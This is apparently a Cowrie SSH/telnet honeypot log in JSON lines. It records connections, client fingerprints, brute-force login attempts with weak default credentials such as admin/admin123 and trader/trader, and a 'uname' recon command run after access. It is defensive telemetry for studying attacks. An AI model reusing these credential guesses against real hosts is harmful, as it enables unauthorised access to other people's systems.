{"eventid":"cowrie.login.failed","username":"user","password":"1","message":"login attempt [user/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:45.866854Z","src_ip":"176.65.132.254","session":"1fd323741f82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.518510818481445,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:46.295031Z","src_ip":"62.210.97.77","session":"6f5200ed766a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48580,"dst_ip":"10.17.0.5","dst_port":23,"session":"e521a5dbbdeb","protocol":"telnet","message":"New connection: 62.210.97.77:48580 (10.17.0.5:23) [session: e521a5dbbdeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:46.444561Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48570,"dst_ip":"10.17.0.5","dst_port":23,"session":"59ccfd900ed3","protocol":"telnet","message":"New connection: 62.210.97.77:48570 (10.17.0.5:23) [session: 59ccfd900ed3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:46.508360Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.235.176","src_port":32840,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6e00ed43ffa","protocol":"ssh","message":"New connection: 103.189.235.176:32840 (159.203.135.109:22) [session: d6e00ed43ffa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:46.514508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:46.522131Z","src_ip":"103.189.235.176","session":"d6e00ed43ffa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:46.755091Z","src_ip":"103.189.235.176","session":"d6e00ed43ffa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:46.950986Z","src_ip":"176.65.132.254","session":"1fd323741f82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.74398374557495,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:47.048352Z","src_ip":"62.210.97.77","session":"43ce43de7a70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48590,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf918e625c24","protocol":"telnet","message":"New connection: 62.210.97.77:48590 (10.17.0.5:23) [session: bf918e625c24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:47.582343Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Qwerty123.","message":"login attempt [ubuntu/Qwerty123.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:47.715371Z","src_ip":"103.189.235.176","session":"d6e00ed43ffa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:48.953989Z","src_ip":"103.189.235.176","session":"d6e00ed43ffa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48594,"dst_ip":"10.17.0.5","dst_port":23,"session":"d87d18ac3575","protocol":"telnet","message":"New connection: 62.210.97.77:48594 (10.17.0.5:23) [session: d87d18ac3575]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:49.100165Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":47462,"dst_ip":"10.17.0.5","dst_port":22,"session":"3df2b21c2f5d","protocol":"ssh","message":"New connection: 176.65.132.254:47462 (10.17.0.5:22) [session: 3df2b21c2f5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:49.468887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:49.473860Z","src_ip":"176.65.132.254","session":"3df2b21c2f5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:49.556883Z","src_ip":"176.65.132.254","session":"3df2b21c2f5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nobody","password":"nobody","message":"login attempt [nobody/nobody] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:49.844972Z","src_ip":"176.65.132.254","session":"3df2b21c2f5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:50.945142Z","src_ip":"176.65.132.254","session":"3df2b21c2f5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43444,"dst_ip":"10.17.0.5","dst_port":23,"session":"286d3fae915e","protocol":"telnet","message":"New connection: 62.210.97.77:43444 (10.17.0.5:23) [session: 286d3fae915e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:52.700167Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":41498,"dst_ip":"10.17.0.5","dst_port":22,"session":"9441661ff217","protocol":"ssh","message":"New connection: 176.65.132.254:41498 (10.17.0.5:22) [session: 9441661ff217]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:53.528359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:53.532852Z","src_ip":"176.65.132.254","session":"9441661ff217","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:53.614667Z","src_ip":"176.65.132.254","session":"9441661ff217","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.46255135536194,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:53.718244Z","src_ip":"62.210.97.77","session":"38bec6dbd958","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"trader","password":"trader","message":"login attempt [trader/trader] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:53.861398Z","src_ip":"176.65.132.254","session":"9441661ff217","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:54.089164Z","src_ip":"176.65.132.254","session":"9441661ff217","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:54.092537Z","src_ip":"176.65.132.254","session":"9441661ff217","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:54.177632Z","src_ip":"176.65.132.254","session":"9441661ff217","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:54.182882Z","src_ip":"176.65.132.254","session":"9441661ff217","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.39616298675537,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:56.742115Z","src_ip":"134.209.8.29","session":"c6b2c7d2cd51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":44994,"dst_ip":"10.17.0.5","dst_port":23,"session":"1eb7e099539d","protocol":"telnet","message":"New connection: 38.54.119.93:44994 (10.17.0.5:23) [session: 1eb7e099539d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:56.951904Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":41518,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c9d0f9def12","protocol":"ssh","message":"New connection: 176.65.132.254:41518 (10.17.0.5:22) [session: 0c9d0f9def12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:57.400225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:57.404991Z","src_ip":"176.65.132.254","session":"0c9d0f9def12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:57.487236Z","src_ip":"176.65.132.254","session":"0c9d0f9def12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1","message":"login attempt [root/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:57.943950Z","src_ip":"176.65.132.254","session":"0c9d0f9def12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:59.047033Z","src_ip":"176.65.132.254","session":"0c9d0f9def12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":46964,"dst_ip":"10.17.0.5","dst_port":23,"session":"99e1433bd41b","protocol":"telnet","message":"New connection: 62.210.97.77:46964 (10.17.0.5:23) [session: 99e1433bd41b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:00.245925Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":41550,"dst_ip":"10.17.0.5","dst_port":22,"session":"7bb7175a7951","protocol":"ssh","message":"New connection: 176.65.132.254:41550 (10.17.0.5:22) [session: 7bb7175a7951]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:01.535954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:01.541673Z","src_ip":"176.65.132.254","session":"7bb7175a7951","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:01.619146Z","src_ip":"176.65.132.254","session":"7bb7175a7951","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.406405210494995,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:01.774145Z","src_ip":"62.210.97.77","session":"55fb37d8486d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":46968,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca54e608bbc4","protocol":"telnet","message":"New connection: 62.210.97.77:46968 (10.17.0.5:23) [session: ca54e608bbc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:01.935062Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123","message":"login attempt [admin/admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:01.960476Z","src_ip":"176.65.132.254","session":"7bb7175a7951","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:02.194072Z","src_ip":"176.65.132.254","session":"7bb7175a7951","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:02.198058Z","src_ip":"176.65.132.254","session":"7bb7175a7951","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:02.287079Z","src_ip":"176.65.132.254","session":"7bb7175a7951","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:02.292990Z","src_ip":"176.65.132.254","session":"7bb7175a7951","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.22478747367859,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:02.832534Z","src_ip":"62.210.97.77","session":"a29b2b870d9e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":46974,"dst_ip":"10.17.0.5","dst_port":23,"session":"d962b6cb414c","protocol":"telnet","message":"New connection: 62.210.97.77:46974 (10.17.0.5:23) [session: d962b6cb414c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:03.788468Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":51098,"dst_ip":"10.17.0.5","dst_port":22,"session":"e018fd92ee5d","protocol":"ssh","message":"New connection: 176.65.132.254:51098 (10.17.0.5:22) [session: e018fd92ee5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:06.083478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:06.088753Z","src_ip":"176.65.132.254","session":"e018fd92ee5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:06.172330Z","src_ip":"176.65.132.254","session":"e018fd92ee5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"123456","message":"login attempt [tomcat/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:06.441569Z","src_ip":"176.65.132.254","session":"e018fd92ee5d","protocol":"ssh"}
